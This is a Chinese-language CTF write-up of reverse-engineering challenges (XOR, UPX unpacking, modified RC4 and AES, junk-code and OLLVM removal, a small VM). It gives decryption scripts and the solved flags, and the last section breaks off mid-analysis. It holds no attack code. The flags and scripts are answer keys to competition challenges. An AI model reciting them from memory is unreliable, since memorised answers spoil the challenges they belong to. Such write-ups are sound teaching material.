Fhackctf–Wp

An-ping 发布于 2025-03-30 73 次阅读


--by Anping

Re

先来一道签到题

AT&T 语法,还是不是常见的Intel 语法,没办法直接看吧

很明显,flag在这里 image-20250304111638986

异或操作,奇5偶7

 enc = list("TTDv^jrZu`Gg6tXfi+pZojpZSjXmbqbmt.&x")
 flag = ''
 for idx, ch in enumerate(enc):
     if idx % 2 == 0:
         flag += chr(ord(ch) ^ 7)
     else:
         flag += chr(ord(ch) + 5)
 print(flag)
 ​

SYC{You_re@l1y_kn0w_how_To_revers3!}

Hello_re

变异UPX壳,修改特征值即可

image-20250304112611584
image-20250304112614157

加密函数 image-20250304112924150

破解脚本

 input = [0,1,2,52,3,96,47,28,107,15,9,24,45,62,60,2,17,123,39,58,41,48,96,26,8,52,63,100,33,106,122,48]
 key = list('SYCLOVERA')
 ​
 c = ''
 for idx, i in enumerate(input):  # 使用 enumerate 获取索引和值
     c += chr(idx ^ i ^ ord(key[idx % 8]))
 print(c)
 print(len(c))

SYC{H3lI0@new_R3vers3_Ctf3r!!}

也许你也听jay

分析算法,解密

 #include <stdio.h>
 ​
 int main() {
   
     char URL[46];
     char chstr1[46];
     strcpy(chstr1, URL);
     char chstr2[] = {0x96, 0xa1, 0xa0, 0x9b, 0x9b, 0x5f, 0x49, 0x46, 0x85, 0x82, 0x53, 0x95, 0x7d, 0x36, 0x8d, 0x74, 0x82, 0x88, 0x46, 0x7a, 0x81, 0x65, 0x80, 0x6c, 0x78, 0x2f, 0x6b, 0x6a, 0x27, 0x50, 0x61, 0x38, 0x3f, 0x37, 0x33, 0xf1, 0x27, 0x32, 0x34, 0x1f, 0x39, 0x23, 0xde, 0x1c, 0x17, 0xd4};
     int  inta1[] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D};
     int  intb2[] = {0x5D, 0x5C, 0x5B, 0x5A, 0x59, 0x58, 0x57, 0x56, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, 0x4F, 0x4E, 0x4D, 0x4C, 0x4B, 0x4A, 0x49, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x40, 0x3F, 0x3E, 0x3D, 0x3C, 0x3B, 0x3A, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x32, 0x31, 0x30, 0x2F, 0x2E, 0x2D, 0x2C, 0x2B, 0x2A, 0x29, 0x28, 0x27, 0x26, 0x25, 0x24, 0x23, 0x22, 0x21, 0x20, 0x1F, 0x1E, 0x1D, 0x1C, 0x1B, 0x1A, 0x19, 0x18, 0x17, 0x16, 0x15, 0x14, 0x13, 0x12, 0x11, 0x10, 0x0F, 0x0E, 0x0D, 0x0C, 0x0B, 0x0A, 0x09, 0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01};
     int intc3[]={0x65, 0x64, 0x63, 0x62, 0x61, 0x60, 0x5F, 0x5E, 0x5D, 0x5C, 0x5B, 0x5A, 0x59, 0x58, 0x57, 0x56, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, 0x4F, 0x4E, 0x4D, 0x4C, 0x4B, 0x4A, 0x49, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x40, 0x3F, 0x3E, 0x3D, 0x3C, 0x3B, 0x3A, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x00, 0x31, 0x30, 0x2F};
     int len = 46;
 ​
     for(int i = 0; i < len; i++) {
         intc3[i] ^=  intb2[i+1];  
 ​
         intc3[i] -=  inta1[i];
 ​
         inta1[i]^=intc3[51];    
         chstr2[i] -=  intb2[i];  
         chstr2[i] +=  inta1[47 + i];
         chstr2[i] ^=  inta1[i];
    }
     printf("%s", &chstr2);
     return 0;
   
     
 }
https://am1re-sudo.github.io/Coisni.github.io

简单RC4

image-20250304113402425

让我康康你的调试

rc4特征 image-20250304113843350

动调一下,key=syclover,enc=945B7D04C9027AA6390798BC0D68F97E08BDBF9816F804715F1586B69884DB616D

image-20250304114048472
image-20250304114252403

别忘了还有个异或14

image-20250304114415675

CPP_flower

两种典型花指令jz\jnz,call&ret

去除后

image-20250322160215490

这函数怪怪的,没办法只能猜。这里很明显用了个随机数,后面多次尝试发现是随机数%255和输入异或。

解密脚本

 #include <stdio.h>
 #include <stdlib.h>
 ​
 int main() {
     srand(0x7DE9);  
     unsigned int enc[50] = {0x0000003E, 0x00000098, 0x000000EB, 0x00000026, 0x00000025, 0x0000008E, 0x00000025, 0x000000E5,
     0x00000086, 0x000000C8, 0x0000003F, 0x00000098, 0x000000C8, 0x000000DE, 0x00000052, 0x00000044,
     0x000000A0, 0x000000CB, 0x0000002B, 0x0000002A, 0x0000003C, 0x000000AA, 0x000000BE, 0x000000CB,
     0x00000088, 0x00000055, 0x0000009E, 0x0000006D, 0x000000D9, 0x00000094, 0x00000097, 0x0000001C,
     0x00000052, 0x00000031, 0x00000059, 0x000000FE, 0x0000001A, 0x0000001A, 0x000000E8, 0x000000D0,
     0x0000003A, 0x0000009C, 0x00000006, 0x0000005E, 0x00000025, 0x0000005A, 0x000000E4, 0x00000022,
     0x000000A1, 0x000000C5};
 ​
     char flag[51] = {0};  
 ​
 ​
     for (int i = 0; i < 50; ++i) {
         flag[i] = (char)(enc[i] ^ (rand() % 255));
    }
 ​
     printf("flag为: %s\n", flag);
 }
 //SYC{Y0u_c@n_3nJoy_yhe_Flow3r_anytime_and_anywhere}

长颈鹿喜欢吃彩虹

ollvm混淆

利用插件去混淆后

image-20250322181438737

逻辑很简单,动调得data、key

 key = BOb0m0oN
 data = [0x1D, 0x36, 0x73, 0x16, 0x49, 0x2D, 0x1A, 0x1D, 0x29, 0x06,
  0x42, 0x2C, 0x76, 0x07, 0x10, 0x0E, 0x7E, 0x39, 0x55, 0x32,
  0x75, 0x03, 0x1B, 0x1D, 0x19, 0x5F, 0x52, 0x23, 0x01, 0x03,
  0x1D, 0x3F]

关键在于加密函数encrypt,不知道为什么插件去混淆不彻底

image-20250322181805895

没办法,丢给ai看看

image-20250322181903715

与密钥循环异或,解密脚本

 key = list('BOb0m0oN')
 enc = [0x1D, 0x36, 0x73, 0x16, 0x49, 0x2D, 0x1A, 0x1D, 0x29, 0x06,
   0x42, 0x2C, 0x76, 0x07, 0x10, 0x0E, 0x7E, 0x39, 0x55, 0x32,
   0x75, 0x03, 0x1B, 0x1D, 0x19, 0x5F, 0x52, 0x23, 0x01, 0x03,
   0x1D, 0x3F][::-1]
 flag = ''
 for index, i in enumerate(enc):
     flag += chr(i ^ ord(key[index % len(key)]))
 ​
 print(flag[::-1])

得SYC{yOU_girAFe_L0Ve_EaT_W0bN1aR}

奇怪的RC4

脚本简单处理

image-20250322182657238

python版本错误,利用pyenv修改下版本。

  pycdc -d .\easy_xor_and_rc4.pyc
 # Source Generated with Decompyle++
 # File: easy_xor_and_rc4.pyc (Python 3.8)
 ​
 Warning: block stack is not empty!
 from Rc4 import *
 ​
 def xor1(plaintext, xor_list):
 Warning: block stack is not empty!
 ​
     try:
         xor_list = (lambda .0: [ ord(i) for i in .0 ])(xor_list)
     finally:
         pass
 ​
     try:
         plaintext = (lambda .0: [ ord(i) for i in .0 ])(plaintext)
     finally:
         pass
     for i in range(len(plaintext)):
         plaintext[i] ^= xor_list[i]
     return plaintext
 ​
 ​
 ​
 ​
 def xor2(plaintext):
 Warning: block stack is not empty!
 ​
     try:
         plaintext = (lambda .0: [ ord(i) for i in .0 ])(plaintext)
     finally:
         pass
     for i in range(len(plaintext) - 1):
         plaintext[i + 1] = plaintext[i] ^ plaintext[i + 1]
     return plaintext
 ​
 ​
 ​
 def enc(plaintext, key, xor_list):
     plaintext = rc4(plaintext, key)
     plaintext = xor1(plaintext, xor_list)
     plaintext = xor2(plaintext)
     return plaintext
 ​
 plaintext = input('please give your input:')
 key = 'SYCFOREVER'
 xor_list = list(range(len(plaintext)))
 cipher = [
     158,
     31,
     205,
     434,
     354,
     15,
     383,
     298,
     304,
     351,
     465,
     312,
     261,
     442,
     397,
     474,
     310,
     397,
     31,
     21,
     78,
     67,
     47,
     133,
     168,
     48,
     153,
     99,
     103,
     204,
     137,
     29,
     22,
     13,
     228,
     3,
     136,
     141,
     248,
     124,
     26,
     26,
     65,
     200,
     7]
 plaintext = enc(plaintext, key, xor_list)
 for i in range(len(cipher)):
     if cipher[i] != plaintext[i]:
         print('Wrong')
         exit(1)
         continue
         print('You know the flag!!')
         return None

逻辑为解密cipher,经过xor2后,xor1,再rc4.其中rc4经过测试,发现为魔改rc4.

  pycdc -d .\Rc4.pyc
 # Source Generated with Decompyle++
 # File: Rc4.pyc (Python 3.8)
 ​
 ​
 def KSA(key):
     j = 0
     S = list(range(256))
     key_length = len(key)
     for i in range(256):
         j = (j + S[i] + key[i % key_length]) % 256
         S[i] = S[j]
         S[j] = S[i]
     return S
 ​
 ​
 def PRGA(S):
     i = 0
     j = 0
     i = (i + 1) % 256
     j = (j + S[i]) % 256
     S[i] = S[j]
     S[j] = S[i]
     k = (S[i] + S[j]) % 256
     yield k
     continue
 ​
 ​
 def rc4(plaintext, key):
 Warning: block stack is not empty!
 ​
     try:
         key = (lambda .0: [ ord(i) for i in .0 ])(key)
     finally:
         pass
 ​
     try:
         plaintext = (lambda .0: [ ord(i) for i in .0 ])(plaintext)
     finally:
         pass
     for i in range(len(plaintext)):
         plaintext[i] += i
     S = KSA(key)
     xor_value = PRGA(S)
     for i in range(len(plaintext)):
         plaintext[i] ^= int(next(xor_value)) + 6
     return plaintext
 ​
 ​

解密脚本

 enc = [
     158,
     31,
     205,
     434,
     354,
     15,
     383,
     298,
     304,
     351,
     465,
     312,
     261,
     442,
     397,
     474,
     310,
     397,
     31,
     21,
     78,
     67,
     47,
     133,
     168,
     48,
     153,
     99,
     103,
     204,
     137,
     29,
     22,
     13,
     228,
     3,
     136,
     141,
     248,
     124,
     26,
     26,
     65,
     200,
     7]
 key = list('SYCFOREVER')
 xor_list = list(range(len(enc)))
 for i in range(len(enc)-2,-1,-1):
     enc[i+1] ^= enc[i]
 for i in range(len(enc)):
     enc[i] ^= xor_list[i]
 ​
 def KSA(key):
     j = 0
     S = list(range(256))
     key_length = len(key)
     for i in range(256):
         j = (j + S[i] + key[i % key_length]) % 256
         S[i], S[j] = S[j], S[i]
 
     return S
 ​
 def PRGA(S):
     i = 0
     j = 0
     while True:
         i = (i + 1) % 256
         j = (j + S[i]) % 256
         S[i], S[j] = S[j], S[i]
         k = (S[i] + S[j]) % 256
         yield k
 ​
 def rc4(plaintext, key):
     key = [ord(i) for i in key]
     S = KSA(key)
     xor_value = PRGA(S)
     for i in range(len(plaintext)):
         plaintext[i] ^= int(next(xor_value)) + 6
     for i in range(len(plaintext)):
         plaintext[i] -= i
     return plaintext
 ​
 data = rc4(enc, key)
 print(data)
 flag = ''
 for i in data:
     flag += chr(i)
 print(flag)

得SYC{Bel1eve_thAt_you_a3e_Unique_@nd_tHe_beSt}

AES!

标准AES换了S盒,直接上脚本

 ​
 """
 Python 实现 AES-128 ECB 模式加/解密
 """
 ​
 # AES S-box(256个字节,采用一维列表,索引值即输入字节)
 S_BOX = [0x7C, 0xCA, 0x7B, 0x77, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0x47, 0xAB, 0x76, 0x63, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0x97, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, 0x87]
 ​
 # AES逆S盒(inv_s_box):
 INV_S_BOX = [
     0x52, 0x9, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38,
     0xbf, 0x40, 0xa3, 0x9e, 0x82, 0xf2, 0xd7, 0xfa,
     0x7c, 0xe3, 0x39, 0x83, 0x9b, 0x2f, 0xfe, 0x87,
     0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
     0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d,
     0xed, 0x4c, 0x95, 0xb, 0x42, 0xf9, 0xc3, 0x4e,
     0x8, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2,
     0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
     0x72, 0xf7, 0xf5, 0x64, 0x86, 0x68, 0x98, 0xe,
     0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
     0x6c, 0x70, 0x48, 0x50, 0xfc, 0xec, 0xb9, 0xda,
     0x5e, 0x16, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x85,
     0x90, 0xd8, 0xab, 0x11, 0x8c, 0xbc, 0xd3, 0xa,
     0xf6, 0xe4, 0x58, 0x5, 0xb8, 0xb3, 0x45, 0x6,
     0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x10, 0x3,
     0xc1, 0xaf, 0xbd, 0x2, 0x0, 0x14, 0x8a, 0x6b,
     0x3a, 0x91, 0x12, 0x41, 0x4f, 0x67, 0xdc, 0xff,
     0x97, 0xf1, 0xcf, 0xce, 0xef, 0xb4, 0xe6, 0x73,
     0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x80,
     0xe2, 0xf8, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
     0x47, 0xf0, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89,
     0x6f, 0xb7, 0x62, 0xf, 0xaa, 0x18, 0xbe, 0x1b,
     0xfb, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20,
     0x9a, 0xdb, 0xc0, 0xfd, 0x78, 0xcd, 0x5a, 0xf3,
     0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x7, 0xc7, 0x31,
     0xb1, 0x13, 0x1, 0x59, 0x27, 0x81, 0xeb, 0x5f,
     0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0xd,
     0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xee,
     0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf4, 0xb0,
     0xc8, 0xea, 0xbb, 0x3c, 0x84, 0x53, 0x99, 0x61,
     0x17, 0x2b, 0x4, 0x7e, 0xba, 0x77, 0xd6, 0x26,
     0xe1, 0x69, 0x15, 0x63, 0x55, 0x21, 0xc, 0x7d
 ]
 ​
 # Rcon常量(AES-128需要10个轮常量,0x00占位)
 RCON = [0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36]
 ​
 # --- 辅助函数 ---
 def xtime(a):
     # GF(2^8)中乘2
     a = a << 1
     if a & 0x100:
         a ^= 0x11B
     return a & 0xFF
 ​
 def gmul(a, b):
     p = 0
     for i in range(8):
         if b & 1:
             p ^= a
         hi_bit = a & 0x80
         a = (a << 1) & 0xFF
         if hi_bit:
             a ^= 0x1b
         b >>= 1
     return p
 ​
 # --- AES基本变换 ---
 def sub_bytes(state):
     return [S_BOX[b] for b in state]
 ​
 def inv_sub_bytes(state):
     return [INV_S_BOX[b] for b in state]
 ​
 #行移位
 def shift_rows(state):
     # state以列为单位存储(共16字节,4x4矩阵,每4字节为一列)
     new_state = state[:]  # 复制
     # 行0不变:索引 0,4,8,12
     # 行1:索引 1,5,9,13左移1位
     new_state[1], new_state[5], new_state[9], new_state[13] = state[5], state[9], state[13], state[1]
     # 行2:索引 2,6,10,14左移2位
     new_state[2], new_state[6], new_state[10], new_state[14] = state[10], state[14], state[2], state[6]
     # 行3:索引 3,7,11,15左移3位
     new_state[3], new_state[7], new_state[11], new_state[15] = state[15], state[3], state[7], state[11]
     return new_state
 ​
 def inv_shift_rows(state):
     new_state = state[:]
     # 行0不变
     new_state[1], new_state[5], new_state[9], new_state[13] = state[13], state[1], state[5], state[9]
     new_state[2], new_state[6], new_state[10], new_state[14] = state[10], state[14], state[2], state[6]  # 同行2左右移2相同
     new_state[3], new_state[7], new_state[11], new_state[15] = state[7], state[11], state[15], state[3]
     return new_state
 ​
 #列混合
 def mix_single_column(col):
     a0, a1, a2, a3 = col
     r0 = gmul(a0, 2) ^ gmul(a1, 3) ^ a2 ^ a3
     r1 = a0 ^ gmul(a1, 2) ^ gmul(a2, 3) ^ a3
     r2 = a0 ^ a1 ^ gmul(a2, 2) ^ gmul(a3, 3)
     r3 = gmul(a0, 3) ^ a1 ^ a2 ^ gmul(a3, 2)
     return [r0, r1, r2, r3]
 ​
 def mix_columns(state):
     new_state = state[:]
     for c in range(4):
         col = new_state[c*4:(c+1)*4]
         new_state[c*4:(c+1)*4] = mix_single_column(col)
     return new_state
 ​
 def inv_mix_single_column(col):
     a0, a1, a2, a3 = col
     r0 = gmul(a0, 0x0e) ^ gmul(a1, 0x0b) ^ gmul(a2, 0x0d) ^ gmul(a3, 0x09)
     r1 = gmul(a0, 0x09) ^ gmul(a1, 0x0e) ^ gmul(a2, 0x0b) ^ gmul(a3, 0x0d)
     r2 = gmul(a0, 0x0d) ^ gmul(a1, 0x09) ^ gmul(a2, 0x0e) ^ gmul(a3, 0x0b)
     r3 = gmul(a0, 0x0b) ^ gmul(a1, 0x0d) ^ gmul(a2, 0x09) ^ gmul(a3, 0x0e)
     return [r0, r1, r2, r3]
 ​
 def inv_mix_columns(state):
     new_state = state[:]
     for c in range(4):
         col = new_state[c*4:(c+1)*4]
         new_state[c*4:(c+1)*4] = inv_mix_single_column(col)
     return new_state
 ​
 #密钥加
 def add_round_key(state, round_key):
     return [b ^ k for b, k in zip(state, round_key)]
 ​
 # --- 关键字扩展 ---
 def rot_word(word):
     # 将 32 位字左移 8 位(即循环移位一个字节)
     return ((word << 8) & 0xffffffff) | (word >> 24)
 ​
 def sub_word(word):
     # 对 word 的每个字节做 S-box 代换
     return ((S_BOX[(word >> 24) & 0xFF] << 24) |
            (S_BOX[(word >> 16) & 0xFF] << 16) |
            (S_BOX[(word >> 8) & 0xFF] << 8) |
            (S_BOX[word & 0xFF]))
 ​
 def key_expansion(key_bytes):
     # key_bytes:长度16的字节序列(AES-128)
     Nk = 4
     Nb = 4
     Nr = 10
     # 将16字节分成4个32位字
     w = [0] * (Nb * (Nr + 1))
     for i in range(Nk):
         w[i] = (key_bytes[4*i] << 24) | (key_bytes[4*i+1] << 16) | (key_bytes[4*i+2] << 8) | key_bytes[4*i+3]
     for i in range(Nk, Nb * (Nr + 1)):
         temp = w[i - 1]
         if i % Nk == 0:
             temp = sub_word(rot_word(temp)) ^ (RCON[i // Nk] << 24)
         w[i] = w[i - Nk] ^ temp
     # 将扩展后的字转换为轮密钥,每个轮密钥16字节(4个字)
     round_keys = []
     for i in range(0, len(w), 4):
         round_key = []
         for j in range(4):
             word = w[i + j]
             round_key.extend([(word >> 24) & 0xFF, (word >> 16) & 0xFF, (word >> 8) & 0xFF, word & 0xFF])
         round_keys.append(round_key)
     return round_keys
 ​
 # --- AES加密/解密单块(16字节) ---
 def aes_encrypt_block(plaintext, round_keys):
     # plaintext:16字节 bytes
     state = list(plaintext)
     state = add_round_key(state, round_keys[0])
     for r in range(1, 10):
         state = sub_bytes(state)
         state = shift_rows(state)
         state = mix_columns(state)
         state = add_round_key(state, round_keys[r])
     # 最后一轮不做 MixColumns
     state = sub_bytes(state)
     state = shift_rows(state)
     state = add_round_key(state, round_keys[10])
     return bytes(state)
 ​
 def aes_decrypt_block(ciphertext, round_keys):
     state = list(ciphertext)
     state = add_round_key(state, round_keys[10])
     for r in range(9, 0, -1):
         state = inv_shift_rows(state)
         state = inv_sub_bytes(state)
         state = add_round_key(state, round_keys[r])
         state = inv_mix_columns(state)
     state = inv_shift_rows(state)
     state = inv_sub_bytes(state)
     state = add_round_key(state, round_keys[0])
     return bytes(state)
 ​
 # --- 分组加解密(ECB模式,无填充,仅处理16字节整数倍的数据) ---
 def aes_encrypt_ecb(data, key):
     """
    data: bytes,长度必须为16的倍数
    key: 16字节 bytes(AES-128)
    """
     if len(data) % 16 != 0:
         raise ValueError("明文长度必须为16的倍数(本示例不包含填充)")
     round_keys = key_expansion(key)
     ciphertext = b''
     for i in range(0, len(data), 16):
         block = data[i:i+16]
         ciphertext += aes_encrypt_block(block, round_keys)
     return ciphertext
 ​
 def aes_decrypt_ecb(data, key):
     if len(data) % 16 != 0:
         raise ValueError("密文长度必须为16的倍数")
     round_keys = key_expansion(key)
     plaintext = b''
     for i in range(0, len(data), 16):
         block = data[i:i+16]
         plaintext += aes_decrypt_block(block, round_keys)
     return plaintext
 ​
 ​
 if __name__ == '__main__':
     # 给定密文数据,使用列表表示
     enc = [0x99, 0xE8, 0xB8, 0x01, 0xC8, 0x82, 0x51, 0x93,
            0x12, 0xEE, 0x89, 0x64, 0xE7, 0xEF, 0x63, 0x8D,
            0x51, 0xDF, 0x5D, 0x78, 0x39, 0xAA, 0x39, 0x62,
            0xA0, 0xB4, 0x50, 0x30, 0x47, 0x30, 0x21, 0x06]
 ​
     flag = b''
     key = b'SYCLOVERSYCLOVER'
 ​
     enc_bytes = bytes(enc)
 ​
 ​
     flag += aes_decrypt_ecb(enc_bytes[:16], key)
     flag += aes_decrypt_ecb(enc_bytes[16:], key)
     print("解密后的 flag:", flag)
 ​
 #解密后的 flag: b'SYC{B3l1eue_Th@t_y0u__l3aRn_Aes}'

baby_vm

vm逆向,先创建个结构体

image-20250323092826297

_ip是很容易看出来的, _sp一开始没看出来,但是没关系可以先用个R占位,同样r中的r[4]其实是zf标志位,这里没有改了。

之后看执行部分

image-20250323093447560

写个翻译脚本

 #include <stdio.h>
 ​
 ​
 int main(){
     int r[8] = {};
     int _sp = 0;
     int _ip = 0;
     unsigned int opcodelist[60] = {
         0x00000046, 0x0000003F, 0x00000000, 0x0000003C, 0x0000003F, 0x00000019, 0x0000003D, 0x0000003A,
         0x0000003E, 0x0000003F, 0x00000053, 0x00000033, 0x00000038, 0x0000003F, 0x00000059, 0x0000003E,
         0x00000039, 0x00000034, 0x0000003E, 0x0000003F, 0x00000043, 0x00000037, 0x00000038, 0x00000040,
         0x00000042, 0x0000003C, 0x0000003F, 0x00000063, 0x0000003E, 0x0000003A, 0x00000037, 0x0000003E,
         0x0000003F, 0x00000079, 0x00000033, 0x00000038, 0x0000003F, 0x00000073, 0x0000003E, 0x00000039,
         0x00000034, 0x00000038, 0x00000040, 0x00000042, 0x0000003C, 0x00000043, 0x00000026, 0x0000003F,
         0x00000031, 0x0000003C, 0x0000003F, 0x00000032, 0x0000003D, 0x00000041, 0x0000003E, 0x00000039,
         0x00000044, 0x00000043, 0x00000004, 0x000000FF
    };
     int opcode = {};
     while ( 2 ){
         opcode = opcodelist[_ip];
         if ( opcode <= 70 ){
         if ( opcode >= 51 ){
             switch ( opcode ){
             case '3':
                 printf("%d :   ", _ip);
                 printf("r[0] += r[3]\n");
                 _ip++;          
                 continue;
             case '4':
                 printf("%d :   ", _ip);    
                 printf("r[0] -= r[3]\n");
                 _ip++;
                 continue;
             case '5':
                 printf("%d :   ", _ip);      
                 printf("r[0] *= r[3]\n");
                 _ip++;
                 continue;
             case '6':
                 printf("%d :   ", _ip);    
                 printf("r[0] /= r[3]\n");
                 _ip++;
                 continue;
             case '7':
                 printf("%d :   ", _ip);    
                 printf("r[0] = ~(r[0] & r[3]) & ~(~r[3] & ~r[0])\n");
                 _ip++;
                 continue;
             case '8':
                 printf("%d :   ", _ip);    
                 printf("v2 = r[0]\n");
                 printf("_sp += 1\n");
                 printf("stack[_sp] = v2\n");
                 _ip++;
                 continue;
             case '9':
                 printf("%d :   ", _ip);    
                 printf("r[0] = stack[--_sp]\n");
                 _ip++;
                 continue;
             case ':':
                 printf("%d :   ", _ip);    
                 printf("r[0] = Str[r[1]]\n");
                 _ip++;
                 continue;
             case ';':
                 printf("%d :   ", _ip);    
                 printf("r[0] = r[3]\n");
                 _ip++;
                 continue;
             case '<':
                 printf("%d :   ", _ip);    
                 printf("r[1] = r[0]\n");
                 _ip++;
                 continue;
             case '=':
                 printf("%d :   ", _ip);    
                 printf("r[2] = r[0]\n");
                 _ip++;
                 continue;
             case '>':
                 printf("%d :   ", _ip);    
                 printf("r[3] = r[0]\n");
                 _ip++;
                 continue;
             case '?':
                 printf("%d :   ", _ip);    
                 printf("r[0] = %d\n", opcodelist[_ip + 1]);
                 _ip += 2;
                 continue;
             case '@':
                 printf("%d :   ", _ip);    
                 printf("r[0] = r[1]\n");
                 _ip++;
                 continue;
             case 'A':
                 printf("%d :   ", _ip);    
                 printf("r[0] = enc[r[1]]\n");
                 _ip++;
                 continue;
             case 'B':
                 printf("%d :   ", _ip);    
                 printf("r[0] += 1\n");
                 _ip++;
                 continue;
             case 'C':
                 printf("%d :   ", _ip);    
                 printf("jz? %d\n", opcodelist[_ip + 1]);  //有点疑问
                 _ip +=2;
                 continue;
             case 'D':
                 printf("%d :   ", _ip);    
                 printf("if r[0] != r[3] : r[4]=1 r[1]--\n");
                 _ip++;
                 continue;
             case 'E':
                 printf("%d :   ", _ip);    
                 printf("r[0] = %d\n", opcodelist[_ip +1]);
                 _ip += 2;
                 continue;
             case 'F':
                 printf("%d :   ", _ip);    
                 printf("Stream = (FILE *)psub_140005A90(0i64);\n");
                 printf("fgets(Str, 51, Stream);\n");
                 printf("Str[strcspn(Str, /n)] = 0;\n");
                 _ip++;
                 continue;
             default:
                 return printf("Unknown opcode: %d\n", (unsigned int)opcode);
            }
        }
         return printf("Unknown opcode: %d\n", (unsigned int)opcode);
        }
         break;
    }
 }
 ​

结果分析

 0  :   Stream = (FILE *)psub_140005A90(0i64);
 fgets(Str, 51, Stream);
 Str[strcspn(Str, /n)] = 0;
 ​
 //
    读取Str[]
 //
 ​
 1 :   r[0] = 0
 3 :   r[1] = r[0]
 4 :   r[0] = 25
 6 :   r[2] = r[0]
